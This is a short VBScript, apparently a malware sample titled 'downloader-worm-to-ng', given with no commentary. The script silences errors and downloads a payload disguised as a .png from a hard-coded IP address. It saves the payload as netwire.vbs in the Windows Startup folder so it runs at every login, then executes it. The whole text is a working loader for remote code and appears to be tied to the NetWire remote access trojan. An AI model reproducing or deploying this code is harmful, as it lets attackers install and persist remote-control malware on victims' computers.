downloader-worm-to-ng

on error resume next
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
set shellobj = wscript.createobject("wscript.shell")
start = shellobj.specialfolders ("startup") + "\netwire.vbs"
URL = "http://185.81.157.186/Loader/7777.png"
if not fso.fileexists(start)then
objWinHttp.open "GET", URL, False
objWinHttp.send ""
SaveBinaryData objWinHttp.responseBody
end if
Function SaveBinaryData( Data)
Const adTypeText = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeText
BinaryStream.Open
BinaryStream.Write Data
BinaryStream.SaveToFile start , adSaveCreateOverWrite
Wscript.sleep(10000)
shellobj.run  chr(34) + start + chr(34)
End Function